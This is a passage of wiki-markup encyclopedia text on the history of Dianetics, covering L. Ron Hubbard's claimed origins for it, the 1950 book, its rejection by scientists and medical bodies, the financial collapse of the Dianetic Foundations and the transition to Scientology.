* The theoretical underpinnings of the methods must yield testable predictions by means of which the theory could be falsified.
* The methods should preferably be published in a peer-reviewed journal.
* There should be a known rate of [[error]] that can be used in evaluating the results.
* The methods should be generally accepted within the relevant scientific community.

Hubbard's engram concept may meet the first of the criteria but other ideas in Dianetics (such as the causal link between &quot;aberrations&quot; and physical ailments) are possibly untestable. Dianetics does not meet the other criteria; its methods have never been published in a peer-reviewed journal, its rate of error is unknown (though Hubbard claimed that it was an &quot;invariable cure&quot;) and its methods are not accepted within the mental health community. Other than some rebuffed submissions in 1950 and the two studies citied above, there is no indication that proponents of Dianetics have sought to engage with the scientific community to assess the validity of the concept.

==History==

===Origins===

Hubbard traced the origin of Dianetics to unpublished research that he claimed to have undertaken in the 1920s and 1930s, which culminated in the writing of a manuscript entitled ''Excalibur'' on the study of the mind. The manuscript was said to have been written in 1938 but was never published. However, Hubbard stated that most of what made up ''Excalibur'' had been released in his various published writings from the 1950s onwards. &lt;ref&gt;Hubbard, &quot;The Anatomy Of Thought&quot;. Hubbard Communication Office Policy Letter [[26 April]] [[1970]]R, revised [[15 March]] [[1975]].&lt;/ref&gt;

Following the [[World War II|Second World War]], in which Hubbard served in the [[United States Navy]], he was admitted to the Oak Knoll Naval Hospital in [[San Diego]]. The Church of Scientology (and Hubbard himself) claims that this was due to his having been left &quot;partially blind with injured optic nerves and lame from hip and back injuries&quot;. &lt;ref&gt;[http://www.lronhubbardprofile.org/chron5.htm ''L. Ron Hubbard, a Profile'']. L. Ron Hubbard Library, 1995&lt;/ref&gt; However, a medical examination performed in September 1945 records that he was suffering from poor eyesight (which was corrected with glasses) and a recurrent [[duodenal ulcer]] &lt;ref&gt;[http://www.xs4all.nl/~kspaink/cos/warhero/1945/450910.gif &quot;Report of medical survey&quot;], [[September 10]] [[1945]].&lt;/ref&gt;; there is no record of any physical injuries in his medical files, which also specifically stated that he had suffered no combat injuries. &lt;ref&gt;[http://www.xs4all.nl/~kspaink/cos/warhero/crippled.htm#doc-i &quot;Report of physical examination&quot;], [[September 19]] [[1945]].&lt;/ref&gt;

While at Oak Knoll, Hubbard claimed to have carried out research into [[endocrinology]] &quot;to determine whether or not structure monitors function or function monitors structure ... using nothing but Freudian Psychoanalysis and using a park bench as a consulting room.&quot; He claimed that during his stay at the hospital - supposedly a year long &lt;ref&gt;Hubbard, &quot;The Story of Dianetics &amp; Scientology&quot;, 1958&lt;/ref&gt; but actually only three months according to his medical record - he spent a great deal of time in the hospital's library. He would certainly have been exposed there to the works of [[Sigmund Freud]] and other psychoanalysts, but claimed to have had a long-time knowledge of Freudian thought due to a childhood friendship with a doctor who had been a student of Freud. &lt;ref&gt;[http://www.scientology.org/en_US/l-ron-hubbard/founder/pg004.html &quot;L. Ron Hubbard: Early Studies of the Mind&quot;]&lt;/ref&gt;

===The emergence of Dianetics===

In January 1949, he wrote to his literary agent, [[Forrest J. Ackerman]], to inform him that he was writing a book on the &quot;cause and cure of nervous tension&quot;, which he was going to call either ''The Dark Sword'' or ''Excalibur'' or ''Science of the Mind''. He was enthusiastic about the prospect, claiming that the book would have &quot;more selling and publicity angles than any book of which I have ever heard.&quot; He announced his project to the general public in the same month, telling ''Writers' Markets and Methods'' magazine that he was working on a &quot;book of psychology&quot;. &lt;ref&gt;Russell Miller, ''Bare Faced Messiah'', p. 144. Joseph, London (1988)&lt;/ref&gt;

In April 1949, Hubbard wrote to the Gerontological Society at Baltimore City Hospital to inform them that he had &quot;apparently made certain discoveries which seem to indicate they would have a definite effect on longevity.&quot; He stated that he was preparing a paper with the somewhat unwieldy title of ''Certain Discoveries and Researches Leading to the Removal of Early Traumatic Experiences Including Attempted Abortion, Birth Shock and Infant Illnesses and Accidents with an Examination of their Effects Physiological and Psychological and their Potential Influence on Longevity on the Adult Individual with an Account of the Techniques Evolved and Employed''. &lt;ref&gt;[http://dianetics.lronhubbard.org/page14.htm &quot;Letters from the Birth of Dianetics - L. Ron Hubbard - The Dianetics Letters&quot;], Church of Scientology International.&lt;/ref&gt; 

According to a June 1954 biographical note issued by the [[Hubbard Association of Scientologists]], Hubbard's letter was &quot;politely received&quot; but the Society apparently declined to become involved with his work. He is said also to have written to the [[American Medical Association]] and the [[American Psychiatric Association]]. &lt;ref&gt;[http://www.ronthephilosopher.org/page14.htm &quot;Ron the Philosopher: The Birth of Dianetics&quot;], Church of Scientology International &lt;/ref&gt; These letters, and their responses, have not been published, though Hubbard later said that they had been negative &lt;ref&gt;Hubbard, [http://www.ronthephilosopher.org/page75.htm &quot;My Only Defense For Having Lived&quot;], 1966.&lt;/ref&gt;.

Some time apparently in the first half of 1949, Hubbard told his friend [[John W. Campbell]], the editor of [[Astounding Magazine|''Astounding Science Fiction'' magazine]] and publisher of many of Hubbard's short stories, about the work that he had been doing on Dianetics. Campbell had been one of Hubbard's early test subjects and believed that his persistent [[sinusitis]] had been cured by Hubbard's techniques. He became an enthusiastic supporter of Hubbard's work. In a letter to one of ''Astounding's'' contributors, Jack Williamson, he wrote: &quot;I know dianetics is one of, if not the greatest, discovery of all Man's written and unwritten history. It produces the sort of stability and sanity men have dreamed about for centuries.&quot; &lt;ref&gt;Jack Williamson, ''Wonder's Child: my life in science fiction''. Bluejay Books, New York (1984)&lt;/ref&gt;

In July 1949, Campbell wrote to one of ''Astounding's'' regular contributors, Dr. [[Joseph A. Winter]], a medical doctor who lived in [[Michigan]]. Winter was intrigued by Campbell's claims about Hubbard's work:

:With cooperation from some institutions, some psychiatrists, he [Hubbard] has worked on all types of cases. Institutionalized schizophrenics, apathies, manics, depressives, perverts, stuttering, neuroses - in all, nearly 1000 cases. But just a brief sampling of each type; he doesn't have proper statistics in the usual sense. But he has one statistic. He has cured every patient he worked with. He has cured ulcers, arthritis, asthma. &lt;ref&gt;Winter, ''Dianetics: A Doctor's Report'', p. 5&lt;/ref&gt;

Although Winter was initially skeptical, Hubbard wrote what he called &quot;an operator's manual for your use&quot; which convinced Winter that Dianetics had some promise. In October 1949, he travelled to Hubbard's home at [[Bay Head, New Jersey]] where he joined Hubbard and Campbell to work on the development of Dianetics, an event referred to elliptically by Hubbard in a letter published by the Church of Scientology (&quot;there are a couple of writers staying here ... They just stopped by for dinner one night around the first of October.&quot; &lt;ref&gt;Hubbard, [http://dianetics.lronhubbard.org/page18.htm letter to Russell Hays of [[November 14]] [[1949]]]&lt;/ref&gt;

Winter attempted to interest some medical colleagues and psychiatrists in Dianetics but elicited little interest. He suggested to Hubbard that he should try to publish an article on Dianetics to stimulate interest in his work. Perhaps mindful of the rejection of his earlier efforts, Hubbard told Winter that &quot;the articles you suggest would be more acceptable coming from another pen than mine.&quot; &lt;ref&gt;Winter, ''Dianetics: A Doctor's Report'', p. 8&lt;/ref&gt;

Accordingly, some time in November or December 1949, Winter wrote a paper &quot;giving a brief resumé of the principles and methodology of dianetic therapy&quot; which he submitted informally to an editor of the ''Journal of the American Medical Association''. However, the editor told Winter that &quot;the paper as written did not contain sufficient evidence of efficacy to be acceptable and was, moreover, better suited to one of the journals which dealt with psychotherapy.&quot; He revised the paper, added case histories provided by Hubbard, and submitted it to the ''American Journal of Psychiatry''. However, it was again rejected on the grounds of insufficient evidence. &lt;ref&gt;Winter, ''Dianetics: A Doctor's Report'', p. 18&lt;/ref&gt;

It is unclear whether Hubbard and Winter independently approached the two journals at different times, or whether there was just the one approach in 1949. Hubbard claims that in 1947 &quot;it seemed that a public presentation of this material was in order and an effort was made to present it to the American Medical Association and the American Psychiatric Association.&quot; &lt;ref&gt;Hubbard, &quot;Universes&quot;, lecture of [[April 6]] [[1954]]&lt;/ref&gt; Other Church of Scientology sources give the date as 1948 and 1949. 

According to the Church of Scientology, in 1948 Hubbard issued his early research in the form of a manuscript entitled ''Dianetics: The Original Thesis''. It received a wider public release in 1951 and is now published as the book ''[[The Dynamics of Life]]''. However, Hubbard himself said that the manuscript was issued in 1949 &lt;ref&gt;Hubbard, &quot;Dianetics: its background&quot;. HCO Bulletin of [[May 22]] [[1969]]&lt;/ref&gt;, &lt;ref&gt;Hubbard, &quot;Auditor attitude and the bank&quot;, lecture of [[October 10]] [[1969]]&lt;/ref&gt;. It is not clear what this manuscript originally contained - the original text is not available for comparison with the 1951 publication - but it may have comprised the &quot;operator's manual&quot; written by Hubbard for Winter. The dates given by Hubbard and Winter certainly coincide, and the &quot;operator's manual&quot; of mid-1949 is the first independently attested codification of Dianetics. Winter writes that he made a number of copies of it and passed them to friends and colleagues, and it would not have been surprising if Campbell had done the same. Hubbard later spoke of how he had &quot;handed out copies in a hectographed, mimeographed way to people who were cursorily interested who wanted to know what I had been doing.&quot; &lt;ref&gt;Hubbard, &quot;How we have addressed the problem of the mind&quot;, lecture of [[July 4]] [[1957]]&lt;/ref&gt;

===Dianetics in print===

At the end of 1949, Hubbard and Campbell agreed that Dianetics would be announced through an article to be printed in ''Astounding'' the following May, which would be followed shortly afterwards by the publication of a full-length book. Campbell arranged for Hermitage House, a small [[New York]] medical and psychiatric textbook publisher, to publish the book. 

Dianetics was trailed in &quot;Terra Incognita: The Mind&quot;, an article by Hubbard that was published in the winter 1949-spring 1950 edition of ''The Explorers Journal''. &lt;ref&gt;Hubbard, [http://www.dianetics.org/en_US/l-ron-hubbard/articles/terra/ &quot;Terra Incognita: The Mind&quot;]&lt;/ref&gt; Dianetics was clearly not quite finished - at this stage, engrams were called ''comanomes'', a [[neologism]] proposed by Winter that was later abandoned.

In April 1950, Hubbard, Campbell, Winter and several others established a Hubbard Dianetic Research Foundation in [[Elizabeth, New Jersey]] to coordinate work related to the forthcoming publication. Hubbard wrote ''Dianetics: The Modern Science of Mental Health'' around the same time, claiming to have taken only six weeks to do so &lt;ref&gt;&quot;L.R.H. Biography&quot;, Sea Org Flag Information Letter 67, [[October 31]] [[1977]]&lt;/ref&gt; (though according to another Scientology source he wrote all 180,000 words in only three weeks &lt;ref&gt;Hubbard, ''Child Dianetics'', p. 178. Publications Organization Worldwide, Edinburgh (1968 edition)&lt;/ref&gt;).

Dianetics was launched in the May 1950 issue of ''Astounding'' (published in April 1950), and the book ''Dianetics: The Modern Science of Mental Health'' was published on [[9 May]] 1950. It became an immediate best-seller, with the first run of 8,000 copies quickly selling out. Only two months after the book's publication, ''[[Newsweek]]'' magazine reported that over 55,000 copies had been sold and enthusiasts had established 500 Dianetics clubs across the United States. &lt;ref&gt;[http://www.xenu.net/archive/fifties/e500821.htm &quot;BOOKS Industry: Best Seller&quot;], ''Newsweek'', No. 36, August 1950&lt;/ref&gt; John W. Campbell reported in the August 1950 edition of ''Astounding Science Fiction'' that the magazine was receiving up to a thousand letters a week about Dianetics. Sales reached 150,000 copies by the end of the year.

The popularity of Dianetics was due to a number of factors. Campbell's endorsement was invaluable to its success. ''Astounding Science Fiction'' had over 150,000 readers, many of whom were familiar with Hubbard's earlier [[science fiction]] and had a strong interest in new scientific discoveries (according to Winter, 80% were college graduates). Among the wider population, Dianetics gained popularity as a cheaper, simpler and apparently more effective means of self-improvement than conventional psychotherapies. Hubbard's optimistic view that Dianetics could alleviate the Cold War climate of tension and fear also struck a chord. One of his supporters, Frederick Schuman, wrote in the ''[[New York Times]]'' that &quot;History has become a race between Dianetics and catastrophe&quot;. 

The success of Dianetics brought in a flood of money. Hubbard offered teaching courses for Dianetic &quot;auditors&quot; though the Hubbard Dianetic Research Foundation, costing $500 per person. This bought four to six weeks of instruction, plus thirty-six hours of Dianetic therapy. The president of Hermitage House, the publisher of ''Dianetics'', reported in the August 1950 issue of ''Astounding'' that the book was selling a thousand copies a day (at $4 each) and all 100 special leather-bound copies (at $25 each) had already sold, with all proceeds going to the Dianetic Foundation. Hubbard recruited his friend and fellow science fiction writer [[A. E. Van Vogt]] to act as the Foundation's treasurer, and five other Foundations were soon established in [[Washington, DC]], [[New York]], [[Chicago]], [[Los Angeles]] and [[Honolulu]]. &lt;ref&gt;[http://www.xenu.net/archive/fifties/1950-look.html &quot;Dianetics: Science or Hoax?&quot;], ''Look'', [[December 5]] [[1950]]&lt;/ref&gt; The scale of the Foundation's income at the time can be judged by the fact that its Los Angeles property was valued at $4.5 million. &lt;ref&gt;Miller, ''Bare Faced Messiah'' p. 166&lt;/ref&gt;

===Opposition to Dianetics===

The scientific and medical communities were far less enthusiastic about Dianetics, which received a mixture of bemused, concerned and denunciatory reviews in the US media.  Nobel-prize winning physicist [[Isidor Isaac Rabi|I.I. Rabi]], reviewing ''Dianetics'' for ''[[Scientific American]]'', declared that &quot;this volume probably contains more promises and less evidence per page than has any publication since the invention of printing.&quot; &lt;ref&gt;[http://www.xenu.net/archive/fifties/e500814.htm &quot;The Dianetics Craze&quot;], ''The New Republic'', [[August 14]] [[1950]]&lt;/ref&gt; ''The Nation'' also pointed to the lack of documentation provided by Hubbard in ''Dianetics'': &quot;No case histories are offered to substantiate his claims, nor is there documentation of any kind to indicate that any previous thinker, medical or otherwise, ever made a significant contribution to the subject of human behavior.&quot; Similarly, the ''Individual Psychology Bulletin'' criticized Hubbard for &quot;not offer[ing] any other evidence than a vague reference to hundreds of cured patients, without furnishing case histories or other specific data. The book is crammed with bragging and swaggering, pseudoscientific bombast, platitudes and vulgarities, and a great deal of sheer nonsense.&quot; &lt;ref&gt;Leonhard Deutsch, ''Individual Psychology Bulletin'', 9:1 (1951) p.38-9&lt;/ref&gt;

The ''New Republic'' noted that the publication of ''Dianetics'' had coincided with that of ''[[Worlds in Collision]]'', a notorious work of pseudoscience by [[Immanuel Velikovsky]], with which ''Dianetics'' shared the top of the best-seller lists. This, its writer said, illustrated &quot;the most frightening proof of the confusion of the contemporary mind and its tendency to fall prey to pseudo-scientific concepts.&quot; &lt;ref&gt;Isaac Isidor Rabi, [http://www.xenu.net/archive/fifties/e510100.htm Review of Dianetics], ''Scientific American'', January 1951&lt;/ref&gt; Other writers expressed concern at the possible dangers of unskilled amateurs practicing therapy on patients, and skepticism about Hubbard's claims that Dianetics could be effective in dealing with illnesses.

In September 1950, the [[American Psychological Association]] issued a resolution calling on psychologists not to use Hubbard's methods for treatment purposes unless and until they had been shown effective through scientific testing. &lt;ref&gt;[http://www.apa.org/about/division/cpmscientific.html#4 &quot;M. Scientific Affairs - IV. DIANETICS&quot;], ''APA Council Policy Manual'', 1950&lt;/ref&gt; In a number of localities, complaints were made against Dianetics practitioners for allegedly practicing medicine without a license. This eventually prompted Dianetics advocates to disclaim any medicinal benefits in order to avoid regulation.

Hubbard later claimed that the [[United States Government]], the [[Soviet Union]] and the [[American Communist Party]] had sought to take over Dianetics and had orchestrated opposition to it. He claimed that &quot;just about the time [Dianetics] hit the stands&quot; (i.e. April-May 1950), a &quot;very high-ranking officer&quot; of the US Navy had approached him to sound him out about &quot;using what you know about the mind to make people more suggestible.&quot; Hubbard was apparently able to avoid this by resigning from the Navy. &lt;ref&gt;Hubbard, &quot;The National Academy of American Psychology&quot;, lecture of [[31 December]] [[1957]]&lt;/ref&gt; However, his letter of resignation from the Navy, dated [[May 27]] [[1950]], makes no mention of this; he said merely that he &quot;sometimes must write on technical subjects and while these have no bearing on naval matters or government security of any kind I would feel much freer were I not a commissioned officer in the naval reserve.&quot; &lt;ref&gt;Hubbard, [http://www.lermanet.com/L_Ron_Hubbard/mr177.htm letter of resignation from the US Navy], [[May 27]] [[1950]]&lt;/ref&gt;

In 1952, Hubbard claimed that the [[Soviet Union]] had also tried to co-opt him to develop Dianetics. He told the FBI in an interview that &quot;the Soviets apparently realized the value of Dianetics because as early as 1938 an official of Amtorg [the Soviet-run American Trade Organization], while at The Explorers Club in New York, contacted him to suggest that he go to Russia and develop Dianetics there.&quot; &lt;ref&gt;US Govt memo 62-116151-70, [[March 7]] [[1951]]&lt;/ref&gt; The FBI agent conducting the interview was not convinced, describing Hubbard as &quot;a mental case.&quot; &lt;ref&gt;Letter in FBI files, [[March 10]] [[1951]]&lt;/ref&gt;

Hubbard also claimed that the [[American Communist Party]] had sought to take over Dianetics, and blamed the hostile press coverage on a Communist plot. The [[Authors League of America]], which represented American authors and playwrights, was &quot;100 percent, almost, Communist Party card-carrying members.&quot; According to Hubbard,

:These people in the early days of Dianetics said, &quot;We can use Dianetics.&quot; They were all my friends. Everywhere I looked, every writer I knew who had ever been a member of the Communist Party was right there alongside of me pumping my hand, saying, &quot;Good going, Ron. We knew you had it in you.&quot; ... We had the potential of an organization the influence of which could be used by another interest! And when they finally got it through their thick skulls in October of 1950 that I didn't care to have Dianetics and Scientology covertly used by any other organization on Earth for their own special purposes, Dianetics and Scientology in the public presses had it. &lt;ref&gt;Hubbard, &quot;Final Lecture&quot;, lecture of [[November 8]] [[1959]]&lt;/ref&gt;

In later years, Hubbard decided that the psychiatric profession was the origin of all of the criticism of Dianetics, as (in his view) it secretly controlled the governments of the United States, the Soviet Union and &quot;nearly every government in the world&quot;. &lt;ref&gt;Hubbard, &quot;Ron's Journal 67&quot;, taped message of [[September 20]] [[1967]]&lt;/ref&gt; This view is still put forward by the Church of Scientology, for instance in a 1993 speech by Church head [[David Miscavige]]:

:But the whole world knows of Dianetics. It was the concern that this very popularity might occur that drove the psychs mad in 1950.

:At stake were all of their vested interest dollars. How could they get research grants? Millions, or even billions - if the problems of the mind were already solved? And how could they hide the fact of LRH's discoveries if the whole country was talking about them? Their initial attacks have been mentioned over the years by us. First they got &quot;technical reviews&quot; by psychiatrists hatcheting Dianetics. They published these critical reviews in their psychiatric trade magazines ... Then they took these published reviews and handed them out to the press where they were promptly requoted as authority in magazines like &quot;Slime&quot; and &quot;Tripe&quot; [i.e. ''[[Time magazine|Time]]'' and ''[[Life magazine|Life]]'']. &lt;ref&gt;David Miscavige, speech to the [[International Association of Scientologists]], [[October 8]] [[1993]]&lt;/ref&gt;

===Fragmentation and transformation===

By the autumn of 1950, Dianetics was beginning to run into serious problems. Revenue was still received from book sales, lectures and auditor training, but financial controls seem to have been lax. Hubbard said that &quot;We had taken in hundreds of thousands of dollars, all told, and it's something on the accounting system of dumping it all in a barrel outside the door and hauling the barrel down to a bank every once in a while - just grim, the accounting just horrible!&quot; &lt;ref&gt;Hubbard, &quot;Review of progress of Dianetics and dianetic business&quot;, lecture of [[25 February]] [[1952]]&lt;/ref&gt;

One of those involved in Dianetics at the time, Helen O'Brien, claimed that a member of the Elizabeth, NJ Dianetic Foundation resigned after it emerged that only $20,000 of the Foundation's $90,000 income one month could be accounted for. Hubbard's treasurer, A. E. van Vogt, has said that Hubbard personally withdrew large sums from Foundation accounts, apparently without any prior notice or explanation of his purpose. &lt;ref&gt;A.E. van Vogt interview with Russell Miller, quoted in Miller, ''Bare Faced Messiah'' p. 166&lt;/ref&gt;  He calculated that by November 1950 the six Foundations had spent around one million dollars and were more than $200,000 in debt. He attempted to rein in costs by cutting staff, but was overruled by Hubbard. &lt;ref&gt;''Dianetics and the Professions'', A.E. van Vogt, 1953&lt;/ref&gt;

Matters were made worse by the Foundation's expensive research program, for which a 110-room building was bought on Rossmore Avenue, Los Angeles. Hubbard believed that a cocktail of [[benzedrine]], [[vitamins]] and [[glutamic acid]] - which he termed GUK after the rifle cleaning fluid used by the [[US Marine Corps]] - would provide a chemical alternative to auditing. &lt;ref&gt;Forrest Ackerman interview with Russell Miller, quoted in Miller, ''Bare Faced Messiah'' p. 173&lt;/ref&gt; Winter writes that it proved a &quot;dismal, expensive failure.&quot; &lt;ref&gt;Winter, ''Dianetics: A Doctor's Report'' p. 190&lt;/ref&gt;

Disagreements had emerged over the direction of the Dianetic Foundation's work, and relations between the board members were becoming strained. Hubbard's interest in [[past lives]] was a particular cause of tension, as he noted in a lengthy footnote in his 1951 book ''[[Science of Survival]]'':

:The subject of past deaths and past lives is so full of tension that as early as last July (1950-Ed) the board of trustees of the Foundation sought to pass a resolution banning the entire subject. And I have been many times requested to omit any reference to these in the present work or in public for fear that a general impression would get out that Dianetics had something to do with spiritualism. &lt;ref&gt;Hubbard, ''Science of Survival'', footnote p. 61. Hubbard College of Scientology, East Grinstead (1967 ed.)&lt;/ref&gt;

He later claimed that &quot;The reason the first Hubbard Dianetic Research Foundation had trouble was that its Board of Directors attempted to stop past lives from being run.&quot; &lt;ref&gt;Hubbard, ''Dianetics Today'', p. 353. Church of Scientology of California, Los Angeles (1975 ed.)&lt;/ref&gt;

Winter recorded his dissatisfaction with what he regarded as a &quot;divergen[ce] from my views as to what constituted a serious scientific organization.&quot; He took the view that &quot;Foundation dianetics was becoming crystallized, ritualistic and sterile&quot;, characterized by a &quot;none-too-subtle antagonism towards the medical profession in general and the psychiatric field in particular.&quot; He commented that &quot;any attempts to force the medical profession to accept it solely on the basis of the affirmation, &quot;It works!&quot; and deriding those who request more conclusive proof, is more than likely to jeopardize whatever possible benefits there might be.&quot; Having been rebuffed in his attempts to steer the Foundation onto &quot;a more reasoned and conservative basis&quot;, he resigned in October 1950. &lt;ref&gt;Winter, ''Dianetics: A Doctor's Report'' pp. 190-191&lt;/ref&gt;

Other members of the Foundation's board of directors also fell out with Hubbard. Art Ceppos, the publisher of ''Dianetics'', also resigned at the same time as Winter and later published Winter's critical book on Dianetics. This breach led to problems in obtaining fresh copies of ''Dianetics'', as a new publisher had to be found. Shortly afterwards, the general counsel of the Dianetic Foundation in Elizabeth contacted the FBI and alleged that Ceppos was a Communist sympathizer who had recently tried to get hold of the Foundation's mailing list of sixteen thousand names which would be &quot;valuable to anyone interested in circulating Communist party literature&quot;. &lt;ref&gt;[http://www.xenu.net/archive/FBI/fbi-100.html Letter to Director FBI from SAC Newark], [[March 21]] [[1951]]&lt;/ref&gt;

John W. Campbell likewise became dissatisfied. He criticized Hubbard for &quot;dogmatism and authoritarianism&quot; after the latter began to insist that only a Hubbard-approved &quot;Standard Procedure&quot; of Dianetics be used. Methods that Hubbard had not approved were condemned as being dangerous &quot;Black Dianetics.&quot; &lt;ref&gt;Campbell, letter in ''The Arc Light'', 25 (May 1952), pp. 6-8.&lt;/ref&gt; This was a marked break from Hubbard's previously liberal policy, in which he had rejected as illegitimate any attempt to monopolise Dianetics. Campbell resigned from the board in March 1951. Although he remained interested in Dianetics for several years afterwards, he eventually moved on to other causes.

A particularly serious breach occurred with Hubbard's wife Sara, the Foundation's librarian and formerly his personal auditor and research subject. Barbara Klowdan, his public relations assistant, described how Hubbard and his wife had both had affairs with other people as they became estranged from each other - Hubbard with Klowdan, and Sara with Miles Hollister, a Dianetics instructor in Los Angeles. Sara was suspended from the Foundation's board of directors and her official post. On [[March 3]] [[1951]], Hubbard wrote to the FBI to denounce Sara and Hollister as &quot;Communist Party members or suspects&quot;, describing Hollister as having a &quot;broad forehead, rather Slavic.&quot; &lt;ref&gt;Hubbard, [http://www.xenu.net/archive/FBI/fbi-89.html letter to FBI of [[March 3]] [[1951]]]&lt;/ref&gt;  

Sara filed divorce papers on [[March 23]] [[1951]] which attracted widespread media interest due to her claims of &quot;systematic torture&quot; allegedly suffered at Hubbard's hands. &lt;ref&gt;&quot;Dianetics Inventor Sued for Divorce, Wife's Complaint Charges He Subjected Her To 'Scientific Torture Experiments'&quot;, ''Los Angeles Times'', [[April 24]] [[1951]]&lt;/ref&gt; A few weeks later, Hubbard wrote to the FBI to accuse Sara of involvement in a supposed assassination attempt in which &quot;I was knocked out, had a needle thrust into my heart to give it a jet of air to produce &quot;coronary thrombosis&quot; and was given an electric shock with a 110 volt current.&quot; &lt;ref&gt;Hubbard, [http://www.xenu.net/archive/FBI/fbi-110.html letter to FBI of [[May 14]] [[1951]]]&lt;/ref&gt; Hubbard later characterized the suit as &quot;a gal I wasn't even married to was suing me for divorce.&quot; &lt;ref&gt;Hubbard, &quot;SOP 5 long form step III - spacation&quot;, lecture of [[January 19]] [[1953]]&lt;/ref&gt;

Hubbard appears to have believed that his organization was under sustained attack from Communist interests. From [[March 2]] [[1951]], all employees of the Dianetic Foundations were to be &quot;requested to sign a strong oath of loyalty to the U.S. government, a denial of Communism and that their fingerprints be taken and forwarded to the F.B.I.&quot; He asserted that Ceppos was &quot;connected with Communists&quot; &lt;ref&gt;[http://www.xenu.net/archive/FBI/fbi-92.html Memo from F. J. Baumgardner to M.H. Holm], [[March 7]] [[1951]]&lt;/ref&gt; and also claimed that Winter was a &quot;psycho-neurotic discharged officer of the US Army Medical Corps and that Winter seemed to have Communist connections.&quot; He complained that &quot;the Communist Party or members of the Communist Party have in the past year wiped out a half a million operation for me, have cost me my health and have considerably retarded material of interest to the United States Government.&quot; &lt;ref&gt;Hubbard, [http://www.xenu.net/archive/FBI/fbi-110.html letter to FBI of [[May 14]] [[1951]]]&lt;/ref&gt;

Yet more financial problems were caused in January 1951 when the New Jersey Board of Medical Examiners instituted proceedings against the Hubbard Dianetic Research Foundation in Elizabeth, accusing it of teaching medicine without a licence. &lt;ref&gt;''Bulletin of the Hubbard Dianetic Research Foundation'', Elizabeth, NJ. January 1951&lt;/ref&gt; This forced the foundation to close its doors, causing the proceedings to be vacated. Perhaps as a result of this lawsuit, the Foundation's creditors began to demand settlement of its outstanding debts, worsening its financial plight.

===Dianetics in Kansas===

A temporary respite was provided in April 1951 by Don Purcell, a millionaire Dianeticist from [[Wichita, Kansas]]. A Hubbard Dianetic Research Foundation was established at Wichita with Purcell's financial backing. Purcell also funded the printing of a new edition of ''Dianetics'' and several new Dianetics books - ''[[Self Analysis]]'', ''[[Science of Survival]]'', ''[[Notes on the Lectures of L. Ron Hubbard]]'', ''[[Advanced Procedure and Axioms]]'' and ''[[Child Dianetics]]'' - as well as a range of other Dianetics pamphlets and publications. 

However, the Wichita Foundation soon ran into problems. The other Foundations collapsed under the weight of unpaid debts and creditors pursued the new Foundation, which was &quot;consistently and continually hit by slopovers from the old Foundations, where the bookkeeping is bad&quot;. &lt;ref&gt;Hubbard, &quot;Review of progress of Dianetics and dianetic business&quot;, lecture of [[25 February]] [[1952]]&lt;/ref&gt; The income of the Wichita Foundation was far more modest than the earlier Foundations had enjoyed, illustrating how public interest in Dianetics had waned by this time. According to Helen O'Brien, who worked with Hubbard in Wichita, only 112 people attended the first major conference held at Wichita and only 51 students attended a subsequent lecture series in October 1951. &lt;ref&gt;O'Brien, Helen. ''Dianetics in Limbo''. Whitmore, Philadelphia (1966)&lt;/ref&gt; Writing at the time, the science writer [[Martin Gardner]] observed that &quot;the dianetics craze seems to have burned itself out as quickly as it caught fire&quot;. &lt;ref&gt;Gardner, Martin. ''Fads and Fallacies in the Name of Science''. 1952&lt;/ref&gt;

The creditors caught up with the Wichita Foundation in early 1952 and forced it into bankruptcy. Hubbard sold his holdings to Purcell for a nominal sum and established a &quot;Hubbard College&quot; on the other side of Wichita, leaving Purcell to sort out the bankruptcy proceedings. The Purcell-run Foundation sent its members a set of accounts showing that it had earned $141,821 but was overspent by $63,222. &lt;ref&gt;Purcell circular letter of [[May 21]] [[1952]]&lt;/ref&gt; Hubbard responded angrily, accusing Purcell of having been paid $500,000 by the American Medical Association to wreck Dianetics. &lt;ref&gt;Hubbard, &quot;Anatomy of the Theta Body&quot;, lecture of March 1952&lt;/ref&gt; He later claimed that Purcell had been funded by the Communist Party of America &quot;to do in a Central Organization.&quot; &lt;ref&gt;Hubbard, &quot;E-meter&quot;, lecture of [[May 19]] [[1961]]&lt;/ref&gt;

With the collapse of the Wichita Foundation, the remaining assets of the Foundation were put up for auction. They largely comprised of the copyright of all the tapes, books, techniques, processes and paraphernalia of Dianetics, including the name. Purcell bought the assets outright, but Hubbard's financial straits were not improved. One of his staff, James Elliot, sent out an appeal on his behalf: &quot;Dianetics and Mr. Hubbard have been dealt a blow from which they cannot recover .... Somehow Mr. Hubbard must get funds to keep Dianetics from being closed down everywhere .... He is penniless.&quot; Elliot wrote of Hubbard's wish to establish a &quot;free school in Phoenix for the rehabilitation of auditors.&quot; &lt;ref&gt;Elliot, James. Circular letter of [[April 21]] [[1952]]&lt;/ref&gt; This was launched around April 1952 as the Hubbard Association of Scientologists; he could no longer use the name &quot;Dianetics&quot; as it no longer belonged to him.

However, he was unable to escape entirely the problems of the bankrupt Wichita Foundation; on [[December 16]] [[1952]], he was arrested in the middle of a lecture for failing to return $9,000 withdrawn from the Wichita Foundation. He eventually settled the debt by paying $1,000 and returning a car that had been loaned by Purcell. &lt;ref&gt;Atack, Jon. &quot;A Piece of Blue Sky&quot;, p. 135. Lyle Stuart, London (1988)&lt;/ref&gt; Purcell finally tired of pursuing Hubbard over the bankruptcy and handed back the Dianetics copyrights in 1954. &lt;ref&gt;&quot;Dianetics and Scientology Organizations United Again&quot;, ''The Journal of Scientology'', issue 36-G, 1954&lt;/ref&gt;

===From Dianetics to Scientology===

Dianetics provided the seed from which the philosophical framework of [[Scientology]] grew.  Scientologists refer to the book ''Dianetics: The Modern Science of Mental Health'' as &quot;Book One&quot;. Hubbard himself regarded its publication as such an important event that he created his own calendar based on the publication date of ''Dianetics'', dating his Scientology writings from that time. For instance, Hubbard uses &quot;A.D. 13&quot; to mean 1963 &amp;ndash; literally &quot;year 13 After Dianetics&quot;.

In 1952, Hubbard published a new set of teachings as &quot;Scientology, a [[religious philosophy]]&quot;. Scientology did not replace Dianetics but extended it to cover new areas. The stated goal of Scientology is to fully rehabilitate the spiritual nature of an individual, including rehabilitating all abilities and realizing one's full potential. By contrast, the goal of Dianetics is to rid the individual of his reactive mind and become [[Clear (Scientology)|&quot;Clear&quot;]].  

In 1978, Hubbard revised and to some extent relaunched Dianetics as &quot;New Era Dianetics&quot;. This was supposed to achieve better results than the original Dianetics, and much more quickly; &quot;Preclears who might have needed over 2,000 hours of auditing to achieve the highest results obtainable from 1950 technology might now achieve comparable gains in a tenth of that time with modern Dianetics and Scientology auditing.&quot; &lt;ref&gt;[http://www.neweradianetics.org.uk/page03.htm &quot;About New Era Dianetics Auditing&quot;]&lt;/ref&gt; 

